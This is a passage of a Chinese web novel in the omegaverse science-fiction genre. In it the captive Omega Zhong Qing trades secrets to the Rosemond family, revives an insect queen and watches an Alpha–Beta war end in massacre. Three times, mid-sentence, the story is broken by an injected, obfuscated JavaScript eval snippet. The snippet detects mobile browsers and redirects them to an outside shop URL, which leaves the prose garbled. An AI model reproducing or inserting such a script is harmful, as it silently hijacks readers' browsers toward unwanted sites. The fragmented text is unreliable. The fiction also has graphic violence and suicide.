或许是因为钟情视力和听力都被严重损害的原因,他们都变得异常沉默。有时候钟情甚至会把他们弄混,分不清将他抱在怀中的人究竟是谁。 军人的直觉告诉钟情现在是军部占上风。 他们不缺武器,各大军事基地会源源不断向首都星输送武器;他们也不缺钱,在外星系攻占下的大量资源矿足以支撑他们的军费开支。 但他们缺路。 所有物资和人员运送到首都星来需要经过重重关卡,而看管这些关卡的政要基本上全都是Beta。这种情况下,他们要么杀出一条血路,要么用多余物资本身数倍的钱来打点贿赂。 Beta毕竟占有全联盟总人口数量的60%,没有Beta,军部也很难正常运转。 所以,军部与政部之间的关系就像是跷跷板的两头。 战争初期,平衡点偏向军部,可时间拖得越长,平衡点就会越来越倾向政部。如果不速战速决,军部最后的结局只会是土崩瓦解。 对于Alpha来说,军校不曾教导他们道德,所以枪口可以毫无负担地同时对准敌人和朋友。 对于Beta来说,既然联盟的外扩无法牺牲掉这些人形兵器,那就让他们亲自动手。 看起来Omega在这场近在迟尺的战争里什么也做不了。 他们没有枪炮,没有星舰,也没有盟友和领导。但是,就算最后的胜利果实是通过偷窃和欺骗得来的,那也值得。 安德烈和严楫都已离开,家里没有别人,钟情便靠在窗边远眺。 突然,一股极其浓烈的危机感向他袭来。 他下意识偏了下头,一枚子弹擦着他的颅顶飞过,带着穿透空气的细微风声,钉进他身后的木质衣柜。 周围突然变得极其安静。 听不见护卫巡逻的声音,也听不见智能设备系统运转的动静,就好像他们全都凭空消失了一样。 钟情感受着地板传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163296|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的微微震颤——有人在房子里走动,至少四个,而且其中一个已经到了门外。 他赤脚来到床前,抽出藏在枕头底下的匕首。他把匕首藏在身后,轻轻走到门边,在门被打开的瞬间干脆利落地将门外的人割喉。 他已经尽量把动作放轻,但因为看不清对方的具体身形,只能凭一个隐约的轮廓猜测对方颈动脉的所在,所以他必须用尽全力来保证就算失手,对方也没有还手的余地。 他没有多余的力气扶住对方软下来的尸体。 血液喷溅和尸体倒地的声音还是引起了别人的注意,走动的声音越来越急促,夹杂着几声不确定的呼唤。 钟情朝着声音传来的方向走去。 他躲在对方必经的一个转角旁,用衣摆吸干掌心和刀柄上的血,然后静静等着对方的到来。 在离他几步远的时候对方突然停下来。钟情听见枪支和枪套碰撞的声音,意识到对方已经发现了不对劲。 钟情轻轻蹲下身子,在对方猛地转身冲上来朝前方扫射的时候抱住他的腿,用巧劲把他绊倒后,刀尖如行云流水般插进对方的后心。 手臂突然一疼,钟情放弃拔出匕首,捂着手臂上的枪伤跑回房间。 门外,第三个人和第四个人的脚步声越来越清晰。 钟情离开门边,靠在床尾坐下,脱下沾满血的上衣给手臂上的枪伤止血。 大门被打开,两名全副武装的杀手借着走廊的灯光看清了面前的人。 一个赤裸着上身的Omega,白皙的胸膛上沾着血迹,纤长俊秀的手指没有握着任何武器,垂眸看着地面的样子似乎全然无害。就算一旁还有一具同伴的尸体,也毫不影响他的迷人。 其中一个杀手放下枪向他走来。他蹲下来轻轻抚摸着钟情的脸,似乎想要说些什么,但下一刻就被一根针状物刺透太阳穴。 第四个人被这变故一惊,开枪射中了钟情的左肩。钟情忍着剧痛,向旁边的柜子翻滚过去。 杀手看了眼同伴死不瞑目的尸体,意识到太阳穴上插着的不过是一根座钟里的时针。他咒骂了一句,端枪全神贯注地瞄准着躲在柜子后面的人。 在即将走到柜子旁的时候,他被不知道什么东西绊倒。摔倒的那一刹那,钟情从一旁翻出来,单腿压在他身上去抢他的枪。 但是他的力气远远不如身下的佣兵,僵持之中反倒把枪扔到更远的地方。 钟情的格斗术空有技巧,没有力气支撑让他很快就落在下风。对方每一拳都下的死手,如果不是钟情尽量护住要害,绝不只是吐血这么简单。 最后,钟情瘫到在血泊中,再也无法爬起来。他双眼半睁半闭,似乎已经失去大半意识。不远处躺着一朵快凋谢的玫瑰花,他像是已经忘记自己现下的处境,想要伸手去够那朵玫瑰。 终于确定他已经没有还手能力,杀手喘着粗气,怜悯地看着他,走过去捡起那朵玫瑰放到他手中。然而下一秒—— 在杀手俯身,想要把钟情拎起来的时候,尖利的玫瑰花枝以让人无法反应过来的速度刺进他的眼睛,迸溅的血液弄脏了白色花瓣。 嘭。 枪声响起,痛苦的哀嚎戛然而止。 钟情从那个血窟窿里抽出他的玫瑰。他什么也看不见,不知道这究竟是一朵红色的伊甸园,还是一枝纯白的雪山。 花瓣和血液混杂出一种奇异的芬芳,钟情深深吸了一口。 他什么也闻不到。 像是有两把钢锯在切割他的头颅,疼痛之下他眼前一阵阵发黑。因为失血他全身发冷,冷意让他的身体麻木,连那朵玫瑰也快要握不住。 恍惚间他仿佛听见脚步声。 一步,两步,三步。停在他面前。 就在钟情以为这是幻觉的时候,有人在他额头上轻轻落下一吻。 突如其来的禁惊惧之下,钟情想要反抗,却连抬手的力气也没有。 他晕倒在一片黑暗之中。 * “他是我们的筹码,不是你一个人的战利品。”有人怒气冲冲地说,“别小瞧他,兰凯斯特四具尸体还不够教会你这个道理吗?” “可是,如果你见过那时候的他,也会像我一样舍不得把他还回去的。”另一个人满不在乎地说。 如果安德烈在这里,就会认出这个人就是联盟通缉令的榜首——一个早在莱昂星系时就已经死在他手里的、恶贯满盈的星盗首领。 死而复生的匪首满怀爱意地看床上沉睡了许久的人,问道:“医生有说他什么时候醒吗,戈雅?” 戈雅·罗斯蒙德恨铁不成钢地瞪了他一眼:“应该很快就醒了,医生说他已经脱离危险。” 他看不下去对方一脸快乐的表情,抬腿就想走,快出门时又停下来,最后一次确道:“你确定要隐瞒他的存在,修恩?这可是你报复安德烈最好的机会。” 修恩·罗斯蒙德朝他一笑:“就算不能在他面前炫耀……亲手弄丢自己的老婆,就已经足够他痛苦一辈子了吧。” “行吧。”戈雅朝他敷衍至极地行礼致意,“联盟保佑你,哥哥。” 23. 合卺一饮 钟情在布谷鸟报时的声音中醒来。 清脆的布谷声存在于远旧的记忆里,梦中听来又如此熟悉。一时间钟情还以为自己仍在诺恩军区的花房中。 眼前朦朦胧胧的,还是有些看不清,但相较之前已经好了不少。 钟情轻声唤道:“元帅。” 在耳畔响起的不是严楫总是温和轻快的声音,而是一个陌生的、轻浮的声音。 “这里没有元帅,只有老大。”那个人戏言,“睡美人,叫声老大听听?” 钟情瞬间清醒过来。 昏迷前的记忆逐渐复苏,眼前那层白雾也渐渐散开。 他看着面前那张似曾相识的脸,很快又被那人身后的布谷鸟座钟吸引视线。 “礼物。喜欢吗?” 陌生人单手把沉重的座钟拎到床边,然后在钟情身边躺下。 他枕着手臂偏头看向钟情:“认识一下,我是修恩·罗斯蒙德。三天前把你从兰凯斯特抢过来。” 说罢,他饶有兴致地观察钟情的反应。出乎意料的是,钟情开口的第一句话不是求饶,也不是谈判。 他轻声请求道:“可以给我一张纸巾吗?” 修恩眨了下眼睛,依言从床头扯块纸巾递给他。 接过来后,钟情慢慢起身下床,在座钟旁停下脚步。他半跪下来,用手里那张纸巾轻轻擦拭那扇关着布谷鸟的玻璃小门。 这的确就是军区花房里的座钟,钟情还记得严楫是如何一刀一刀亲手雕刻出那只木头布谷鸟。离开军区时,安德烈不允许他带走所房子里任何一件物品,如今再见,它满身尘埃。 表盘里指针被人拆卸过,银制的时针在木纹表盘里格格不入,针尖还残留着已经干涸的血迹。 钟情认出那根时针就是他昏迷之前用来杀人的凶器。如今它被特意取出来,装在本该好好待在军区花房里的布谷鸟座钟上。 钟情暗想:罗斯蒙德家族对他们的了解,比他想象的还要多上一些。 擦干净玻璃小门上的污渍后,钟情才起身观察周围的环境。 房间的装潢看不出什么特别,但窗外的景色在整个首都星都可以说是独树一帜。 金属地面上被挖出一个巨大的池塘,荷叶相接几乎盖住整个池面。还不到荷花盛开的季节,水面上只露出几个小小的尖角花苞。 修恩见他在窗边久久驻足,主动开口:“罗斯蒙德整整花了二十年修这个池子,里面的水、泥土和花种,都是从当年那艘离开月球基地的飞船上取下来的。今年还是第一次开花,就被你赶上了。” 首都星寸土寸金,挖个池子已经是很大的手笔,更别提那些从地球带过来的泥土和花种。 它们已经是有价无市的奢侈品,兰凯斯特家族也不过只有一棵从地球带过来的树种而已。 这还没算上这些荷花的后续护理。 钟情面无表情地听着修恩形同炫富的言论,心中严厉唾弃这些万恶的有钱人。明明是属于全人类的财产,却被私藏在他们的后院。 钟情没有如修恩的意,表现出分毫嫉妒或是憎恶。 他平静地问:“你们想回地球?” 这句话反倒把修恩问懵了。 他反应了一下才想明白钟情为什么要这么问,失笑道:“不,我们只是单纯的有钱罢了。钱实在是多得没地方花,只好用来浪费。” 见钟情沉默不语,修恩好奇道:“你很想回去吗?” 钟情仍旧不说话,修恩好心劝道:“地球不过是一个普通星系里的一颗普通行星罢了。就算它是我们的母星……已经两百年过去,再多的思乡之情现在也该淡薄了。” “与其留恋过去,不如放眼未来。”修恩伸手勾住钟情的下巴,迫使他看向自己,“说起来,你好像不怕我?” “怕你什么?”钟情平静地反问,“怕你其实已经死了吗?” 修恩一愣,随即哈哈大笑。 “不愧是联盟唯一一位Omega上尉。我的通缉令三年前就已经注销,你记性不错。” 钟情淡淡道:“我不怕你,你却该怕我。” 听他这么说,修恩一点也不生气,反倒煞有介事地附和:“你说得对,我的确该是怕你的。” 他一边说着一边拿出从身后取出一副纯银打制的镣铐。 他将镣铐的一端铐床柱上,另一端铐在钟情的左脚上。镣铐内环嵌有绸缎内衬,不至于磨破皮肤。 钟情看着他的举动,没有尝试反抗。 直到落锁的声音响起,他才略带讥讽地开口道:“匪首大人是因为总需要东躲西藏地过日子,所以才总想把别人也困起来吗?” 修恩显出相当的好脾气:“别试图激怒我,对你没好处。” 他轻轻抚摸上钟情的脸,不出意外地被对方偏头避过。他顺着对方的意收回手,略微冷硬地告诫道: “你是罗斯蒙德的俘虏,也是罗斯蒙德的砝码。如果不是我护着你,你现在应该在监牢里受刑。说不定还会失掉一些小零件,寄去兰凯斯特家,看看安德烈会不会吓破胆。” 修恩顺着钟情的手指来回抚摸,像是把玩什么珍奇物件一样把玩他白玉色的指骨。 附在其上的皮肤薄薄一层,如绸缎般滑腻,然而又比绸缎生动轻盈许多,细小的青紫色血管在其下跳动。 修恩的语气半是劝诱半是威胁:“这样漂亮的手,废掉的话不是很可惜吗?” 钟情抽回手,在对方不满之前取下无名指上的婚戒。 他把戒指丢给修恩,朝他微笑道:“谢谢你的好意。不过想要牵制的安德烈的话,其实没必要伤害我。” 修恩接住戒指,露出自钟情醒来后第一个意外的表情。 “你这是什么意思?” 钟情自顾自说下去:“如果你可以给我提供纸笔的话,我还有更多东西可以告诉你。” “……”修恩定定地看着钟情,判断他话里的真假,“你为什么要这么做?” 钟情面不改色地回答:“我当然有我的条件——把你们从严楫那里拿走的东西还给他。” 修恩脸上那些戏谑和漫不经心逐渐消失。罗斯蒙德家族的探子遍布联盟,他当然知道钟情与另外两个Alpha之间的关系,只是不曾想到他会如此决绝地在两人中选择严楫。 对于钟情的投诚,修恩显得有些谨慎。 不过这谨慎很有限,他实际上已经有三分相信钟情的话,毕竟一个Omega提出要救心爱的丈夫,实在是太理所应当了。 见他迟疑着没有说话,钟情语气平静地挑拨道:“一百五十年前,星盗便开始在联盟外围活动。一开始不过是小打小闹,直到最近二十年,才渐渐有燎原之势。” “我大概能猜到罗斯蒙德为什么会暗中资助星盗,甚至把自己的嫡系送到战场上。你们是天生的阴谋家,打压Alpha士兵让他们他们沦落到走投无路的地步,然后用金钱和美色煽动他们反叛联盟,流亡星际,与正规军自相残杀。你们把这种手段当做消耗、分裂Alpha军人最可控的途径。” 修恩洋洋得意:“我这是替天行道。Alpha这样的残次品,几句话就能上钩,还是死光了的好。” “你们的手段确实高明,那些Alpha毫不怀疑你的圈套,也毫不怀疑你的身份,竟然心甘情愿供你驱使,逼得联盟军队节节败退。” 钟情话锋一转,“可惜你的对手是安德烈。他是不世出的军事天才,而你,修恩·罗斯蒙德,在他面前毫无招架之力。” “和你比起来,戈雅·罗斯蒙德可成功多了。他用研究所借刀杀人,把严楫置于死地。即使严楫死而复生,也同样牢牢掌控着他的弱点。” “但这场战争你们注定会输。因为生下你,就是罗斯蒙德家族下的一步臭棋。” 修恩大抵是要把好脾气的面具戴到底,就算这样也绷着脸没有失控发火,只是眼眶通红,神色凝重,看起来有几分可怖。 钟情微笑:“我还以为星盗虽干的都是些下贱勾当,至少会稍稍有些血性。这样都不生气,看来您自己也是这么认为的。” 修恩死死盯住他,播出通讯命令守在门外的仆从:“拿纸笔来。” 他深吸一口气,这样才能在钟情淡漠的眼神下神色如常地开口:“戒指我会送出去。这是你对罗斯蒙德家族的投诚,不是对我的。” 钟情莞尔:“老大,您想要我为您做什么呢?” “我要你和我一起去赴一场宴会,安德烈和严楫也会来。”修恩面上浮现一丝扭曲的、羞辱的讽笑,“我希望,你能穿着裙子出席,美人。” * 钟情用数条机密换来一个圆润、纯白的珍珠。 见到那颗珍珠的第一眼,钟情瞬间明白——这就是虫族女皇。 它在严楫身上寄生后,迅速结成虫茧,阻止严楫用自杀的方式与它同归于尽。 战斗结束后,暗中潜伏的星盗们将虫茧带回首都星,在研究所的帮助下,将严楫的身体从中分离出来,并唤醒他的芯片。 但寄生已经完成,这具躯体现在同时拥有仿生人的芯片和虫族的部分成虫盘,一旦女皇休眠结束,就会操纵成虫盘参与争夺这具身体的使用权。 钟情的背叛并没有在一开始就给战局带来翻天覆地的变化。 他离开军队太久,对那里不再像从前那样了如指掌。不过之前他卧病在床,安德烈和严楫为了多多陪伴他,经常在办公地点搬到他床边。他们从来不在他面前掩藏什么,才让他现在还能有拿得出手的东西。 这些机密只是刚好能让安德烈焦头烂额而已,但修恩已经很满意。 自从安德烈踏入前线,不可一世的星盗组织就逐渐沦为过街老鼠。他几乎从来没有在安德烈手中讨到好处,若不是弟弟戈雅的研究所对严楫芯片有了重大突破,设计出一种能影响仿生人逻辑运算模块的仪器,他不可能有机会进入兰凯斯特带走钟情。 可惜七代的自我更新能力实在太强,仪器使用一次便被安德烈免疫。 钟情那番话的确激怒了修恩。 他彻底和Alpha们撕破脸皮,甚至不再遮遮掩掩,连自己死而复生的借口都懒得找,直接以真面重回战场。 安德烈投鼠忌器,下手时多有顾虑,渐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163297|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落入下风。 那场宴会就是在这种情况下举办的。名义上是Beta与两位Alpha军长的和谈,其实是单为安德烈准备的鸿门宴。 钟情从旋转楼梯走下来时,安德烈和严楫都已到场,身边没有跟随任何卫兵。 前线失利似乎没给他们带来多少变化。安德烈一如既往沉稳严肃,军装笔挺不沾一丝尘埃。严楫则微微笑着,朝钟情卖力挥手。 他们大概已经和罗斯蒙德达成某种协议,看到穿着白色曳地长裙、蒙着蕾丝头纱的钟情时,没露出丝毫惊讶或是愤怒。 甚至在修恩炫耀般开口询问他们想法时,异口同声地赞美道: “很漂亮。” 钟情曾听过修恩无数次讥笑着提起他们刚发现他失踪时的失控,但现在看上去,他们都已经恢复镇静,甚至比任何时候都要更理智。 修恩走过来,伸手揽过钟情的腰,欣赏着两个Alpha在一瞬间神色的变化。他心中无比得意,假意谦逊地离开,实际上只是去到二楼回廊,看戏一样观赏楼下大厅中将要发生的事。 一楼暂时只剩下他们三人。 安德烈朝钟情温和地开口:“这次又是为了严楫?” 钟情避开他的眼睛:“抱歉。他们用严楫的生死威胁我,我没有别的办法。” 听见这话,严楫心中生出无限柔情,同时,他强自忍耐下此时无能为力的不甘和自责,一再告诫自己不可冲动。突然余光瞥见安德烈面色不对,他立刻开口提醒。 “安德烈,别中计。如果钟教授不泄密,罗斯蒙德就会对他动手,那时候你会比现在还要备受牵制。” “我知道。”安德里看向钟情的视线中有莫名的情愫,“我本以为修恩·罗斯蒙德会用你来要挟我。没想到他只是向你讨要机密。” 他嘴角微扬,露出讽刺的一笑,“这是他这么多年来第一场正大光明的战斗。” 钟情:“……” 这句话简直是在往修恩肺管子上戳——安德烈毫不介意他的背叛,居然将这一场有一方泄密的、根本不公的战斗视作光明正大。 可见修恩曾经用过多少肮脏猥琐的手段,但没伤到安德烈半分。 钟情抬头看了眼回廊上的人,果不其然见到修恩满是怒意的脸。 他摇铃唤来侍从,嘱咐几句后重新露出好整以暇的快意,饶有兴致地看向楼下。 侍从为钟情端上一杯酒。 酒液清澈透明,酒精的味道却冲鼻而来,显然,度数极高。 侍从低眉顺眼道:“修恩大人说,既然兰凯斯特夫人是因为一杯酒来到这里,现在,也请夫人用一杯酒为元帅送别。酒只有一杯,您可以在两位元帅中任意挑选一位。” 说完他没有离开,明显是要亲眼看着钟情做出选择。 就算酒中无毒,眼下孤身入敌营的现状也不容许他们有半分醉意。喝下这杯烈酒后,罗斯蒙德就可以在暗中动无数手脚来让醉酒的人意外身亡。 钟情心中有犹疑,但这样的抉择他在之前已经做过无数次,所以几乎是条件反射般,下意识就看向安德烈。 安德烈仍旧没有半分意外。 他甚至主动走过来,握住钟情的手腕,就着他的手,慢慢饮下那杯酒。 面前的人隔着一层透明的镂空蕾丝,正难以言喻地望着他,那张漂亮的脸蛋上神色复杂。安德烈紧紧盯着那张让他魂牵梦萦的脸,烈酒一路从喉管灼烧到胃部,他的头脑却相当清醒。 两次大婚,钟情都没有这样打扮过。他跟两位丈夫一样西装革履,安德烈不曾想过会是在这种时候见到这个样子的他。 就像是古籍上记载的一种仪式,寓意永结同心、永不分离。 安德烈竟然感到一丝欣慰,为这似是而非的巧合。 一杯饮尽,钟情心中有片刻触动。 他用只有他们两人的音量轻声问:“如果我说不止是为了严楫,您会开心些吗?” 安德烈沉默片刻:“那是因为什么?” 钟情轻轻巧巧地微笑:“我只是想让你输。” 安德烈没有生气:“你恨我?” “是与严楫无关的恨。”钟情道,“世界上有那么多人恨你们——虫族、诺曼星人,还有从一个世纪前就开始算计你们的Beta。再多我一个,又有什么稀奇的呢?” 他迎着安德烈的视线,有点好奇地问,“您觉得,一个Omega憎恨Alpha,需要理由吗? 安德烈没有说话。 修恩没等他们再多说几句,朗声宣布宴会结束。 钟情没有反抗,提裙向楼上走去。 与此同时,四面八方隐藏的雇佣兵都显出身形,无数金属铠甲与白裙擦肩而过,直奔安德烈而去。 在钟情走上最后一级的台阶的时候,修恩猛地掷杯,玻璃碎裂的声音瞬间响起。 楼下传来巨大的爆炸声,但钟情无法回头。 糖霜子弹的后遗症在这一刻发作,他抓住修恩伸来的手,勉强稳住突然发软的身体。爆炸声引发剧烈的耳鸣,他分不清这声音究竟是曾经的回忆,还是眼下的现实。 24. 记忆碎片 从糖霜子弹的后遗症恢复过来后,钟情向后看去。 宴会厅里一片狼藉,各种家具装饰品全部变成碎片,墙壁破了一个大洞,露出一方蓝汪汪的天空。 雇佣兵的尸体躺倒一地。 没有人能留下安德烈。 暗色飞行器悬浮在那角天空里,安德烈站在舷梯上,军装在风中猎猎作响。 他们之间的距离隔得太远,钟情看不见他的表情,只觉得那个身影宛如一柄失主的剑,沉默地插在一片废墟中。 * 安德烈实在是个军事天才,即使有钟情捣乱,他还是很快稳住战局,扳回一局。 不过这些都跟钟情逐渐无关。 也不知是不是之前刺激狠了,修恩对“光明正大”简直快成执念。他不再找钟情要情报,也不再想着用钟情作为对安德烈的要挟。 钟情听到过不止一次修恩与弟弟戈雅的争吵,每一次戈雅负气摔门离去的时候,看向他的眼神都像是在看什么红颜祸水。 钟情心中很冤枉,其实他比任何人都希望Beta能赢。 他翻阅了他能找到的所有有关虫族的书籍。幸而罗斯蒙德家族的藏书馆不对他设防,他总算是找到需要的答案。 他最后选择把那颗珍珠放在浴缸里。 这里足够潮湿,而且,这里是唯一一个没有监控的地方。再把恒温器打开,就是一个绝佳的孵化地。 那颗珍珠接触到水汽和暖意后便开始慢慢变大。三个月后,它变成了一个茧状物,钟情的浴缸已经无法完全盛下它。 肉眼可见里面的生物即将破茧而出,钟情一边期待着,一边许愿不要飞出一只大蟑螂。 某天夜里,钟情被窸窸窣窣的动静吵醒。他把枕头下的小刀握在手心,慢慢向厕所走去。 月色下,硕大的白茧从中间破开,鱼缸底部多了一层稀薄的、淡绿色的汁液。 角落里某种虫类的嗡鸣惊动了钟情。 他朝响动传来的地方看去,那里站着一个黑影,裸露在月光下的半张侧脸如此熟悉。 钟情朝角落走去。 每走一步,那个人的身影就越清晰一分。像严楫,但又不完全是严楫。 系统惊呼:【菜精!完蛋了!支柱变成三根了!】 钟情安慰道:【正常,严楫和女皇融合了。严楫那副身体早在结茧的时候就被女皇溶解,罗斯蒙德分离出来的只是诺亚的芯片,唤醒后装入一具一模一样的身体里而已。】 两具身体可谓一比一复刻,之间细微的差别连安德烈也看不出来,只有曾经同床共枕亲密无间的钟情能分辨得出。 现在,被溶解的身体和剩余的成虫盘结合在一起,终于破茧而出。 【这可怎么办?两根支柱就已经够麻烦的了。】 【别担心,我来想办法。】 系统啧啧:【你真是牛逼大发了。我还是第一次见到支柱还能二次分裂的。但你是怎么让它破茧的?我记得这事儿戈雅他们用尽办法也没做到,这才让修恩拿来讨好你的。】 【虫族只有在感到安全的时候才会破茧。罗斯蒙德心怀叵测,它当然不肯出来。】 系统震惊;【难道你不是心怀叵测?】 钟情笑笑,宽容地不去反驳它的用词。 他道:【统子,你还记得亚德里恩吗?他死前,在我的手上留下了他的血液。】 血液里面有亚德里恩留下的信息素,寓意着友好、信任、帮助和被帮助。 女皇这具新生的身体不如罗斯蒙德打造的那般完美。 它的成虫盘被罗斯蒙德故意分走一半,连同芯片一起放入那具身体里。剩下的成虫盘不足以让它发育出完整虫身,这才不得不用严楫身体的残片替代。 黑暗中,它的半张脸是人类的模样,另外半张被虫类的甲壳覆盖,在月光照射下反射出金属一样的光泽。 属于人类的眼睛朝钟情缓慢地眨动了一下,属于虫族的眼睛则不错眼地盯着他。 它的身体上也七零八落地覆盖着黑色的甲壳,衣服和裸露在甲壳之外的皮肤血肉被某种液体腐蚀了一小半,没有血液流出的血洞里露出森森白骨,像一具形销骨立的骷髅。 既然这也是一半的严楫,那深情人设该走还是得走。 “哐当——” 刀尖砸落在地面上发出清脆的响声。 钟情走过去把那具还不知道如何定义的骷髅一把抱住,哪怕它身上腐蚀性的黏液刺痛皮肤也不肯松手。 残破的声带只能发出一半似是而非的音调,另一半只能由类似于虫族振动翅膀发出的声音弥补。 钟情听见那既像是严楫低语,又像是虫类嗡鸣的声音唤道: “阿情。” 这一声唤似乎耗费了他极大的精力,属于人类的眼睛似闭非闭,好像已经困倦非常。 嗡鸣声越来越响,钟情更加用力地抱住他:“停下!现在不是时候。” 嗡鸣声戛然而止。 钟情松开手,退后两步。严楫琥珀色的眼睛已经完全闭上,只剩那只黑曜石一样的虫眼还在目不转睛地盯着他。 “我知道您有联系虫族子民的方法。”钟情看着面前的人,敛去面对严楫时的温情,向他提议道,“我们做一个交易吧,女皇陛下。” 对方的回应是一长一短两声嘶鸣,在系统的帮助下,被翻译成钟情能听懂的、一种古老的语言。 钟情道:“我需要您带领虫族军队,和Beta合作。作为交换,我允诺您人类联盟将永远不会再侵犯你们的生活,以及,这具身体的完整控制权。” 嘶鸣声陡然变得尖利:“不够,还不够。” “您还想要什么?” “事成之后,汝与吾一起回母星。”黑色的虫瞳闪耀了一下,“他喜欢汝,吾也喜欢汝。” 钟情淡淡笑了一下: “如您所愿。” * 虫族士兵的加入让战局的平衡瞬间被打破。 钟情不知道女皇暗中给虫族士兵传了什么信息,总之Beta们并没有过多怀疑它们的用意,很快就让它们加入战场。 他们亲手将这些可怖的虫子放进首都星,各种媒体上铺天盖地全是对新战友的恭维,似乎全然忘记了几年前是怎么疯狂讨伐虫族,只为了在舆论上逼迫军部加快星际扩张的脚步。 讽刺的是,几年前Alpha军队们在战场上拼命绞杀虫族,就是为了护卫首都星和首都星上的Beta子民。 而现在,敌人轻而易举出现他们的防线之内,曾经护卫的人民们对他们举刀相向。 安德烈的反抗比起之前可以说是相当温和,温和得罗斯蒙德家族凑在一起开了个大会,专门讨论他是否已经江郎才尽,再也想不出新的战术。 讨论的结果是一力降十会。 就算是军事鬼才,面对占总人口60%的Beta和浩浩荡荡的虫族大军,也无法力挽狂澜。 只有钟情仍旧心怀疑虑。 他不太相信一向疯魔的安德烈在这时会这样平静,但也没有精力再去管什么。那杯毒酒似乎切实损伤了他的神经系统,身体开始出现大大小小的毛病,其中最显著的便是记忆混乱。 最开始只是不记得东西的摆放,渐渐的,会突然忘记身边一起说话的侍从的名字,严重时甚至会直接丢失一段记忆,发现自己出现在莫名其妙的地方,手指画着一个莫名其妙的图案。 有时候他甚至会记忆错乱,还以为自己在军校当助教,或是还住在军区的花房里。 后来这症状引起修恩注意,特意将罗斯蒙德家族的超等医疗舱搬来放在钟情房间。 这玩意儿不舒服的时候泡一泡确实效果极佳,身体上的病痛能好个七七八八,连糖霜子弹的隐痛都能缓解一二,但对他的记忆没有丝毫用处。 修恩请来许多医生,对这怪病都束手无策。 钟情越来越频繁地在不属于他的陌生记忆里见到那个古怪图案。那近似圆形的图案笔触光滑圆润,像是用什么柔软的笔尖书就。他心中隐隐觉得像是在什么地方见过,可退化的记忆无法给出他答案,他心中越来越不安,却也想不出解决的办法。 他只能在焦虑中慢慢养病,等着最后的结果。 又是半年过去,AB两族从气势汹汹打到精疲力竭,最后所有人都意识到,战争的结局已经注定,不再是人力所能改变。 就在Alpha军队节节败退,Beta们以为胜利在望的时候,一架暗色飞行器趁夜撞进罗斯蒙德家族的城堡。 钟情被哭喊声惊醒,睁开眼睛时,正好看见房门被人撞开。 满脸是血的戈雅拿着枪,倚在门边低声威胁道:“出来!否则——” 他的话没说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163298|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就被人扑到,后来者吃力地抬起头,朝钟情喊道:“走啊!” 戈雅恨恨地咬牙,一翻身掀开压在身上的哥哥,立刻向钟情的方向开了一枪。 然而一面巨大的黑影突然出现,子弹装在上面发出清脆的弹响。 失血过多让戈雅必须很努力才能看清那是什么——那是半扇黑铁一般的翅膀。 这段时间他曾无数次在自己的战友身上见过这种翅膀,属于虫族的翅膀。 他突然哈哈大笑起来。 “虫族……你竟然把女皇复活了,而我竟然从不知道。我让哥哥不要小瞧你,最后却是我自己小瞧了你……” 他断断续续地说着,嘴角不断溢出鲜血。 “罗素说得没错,你果然是个怪物……” 他朝钟情惨然一笑。 “联盟保佑你……萧教授。” 话音刚落,他便干脆利落地抬手朝自己的太阳穴开了一枪。 血液溅开。 修恩抹了把脸上属于弟弟的、尚且温热的血液,隔着一条走廊还在不断传来临死前绝望的哭喊求饶声。 莲花池的池水已经被血染红,水面上堆叠着数具浮尸。 罗斯蒙德家族老宅占据首都星中心十万平米的地皮,住着嫡系数百人,一个晚上就差不多被那个不速之客屠戮殆尽。 那是一个彻头彻尾的疯子。 他好像不知道疼,也不知道适可而止全身而退。他只想杀人。 首都星的战争,Beta赢了Alpha,可罗斯蒙德却输给了兰凯斯特。从此以后所有荣耀和财富都将与这两个家族无关。 修恩看向钟情。 他仍旧神色淡漠地坐在那里,就像是处在暴风眼之中,周围的混乱全然与他无关。 修恩突然开口:“你到底想要什么?” 钟情示意他向一旁看去,那里挂着一件白色纱裙,正是之前宴会上他穿过的那条。 他取下裙子旁边那条美丽的蕾丝头纱,将它轻柔地披在修恩头上。 他声音柔和,并没有什么批评的意味。 “只是一件衣服而已,不该被当做羞辱人的工具。” 修恩苦笑:“杀了我吧。” 钟情没有拒绝他的请求。 他们都知道安德烈突然发疯是为什么,作为把他掳来的罪魁祸首,修恩落到安德烈手里,结局只会比死更可怕。 枪口轻轻抵住前额,钟情问:“你在要求我穿上它的时候,有想过自己某天会死在穿裙子的人手里吗?” 修恩没有说话,他透过蕾丝看着钟情,释然地笑了一下。他的眼神终于不再像是一个Beta看着Omega那样,不再有讥讽、轻蔑等等让钟情厌烦的神色。 他轻轻握住钟情扣着扳机的手指,然后用力一按。 “嘭——” 走廊处传来脚步声。 沉重粘稠,就像是来人踩着一地血水而来。 安德烈在戈雅的尸体旁坐下。 偌大的房子此时只剩下他们两个人,四周安静得可以听见彼此的呼吸声。 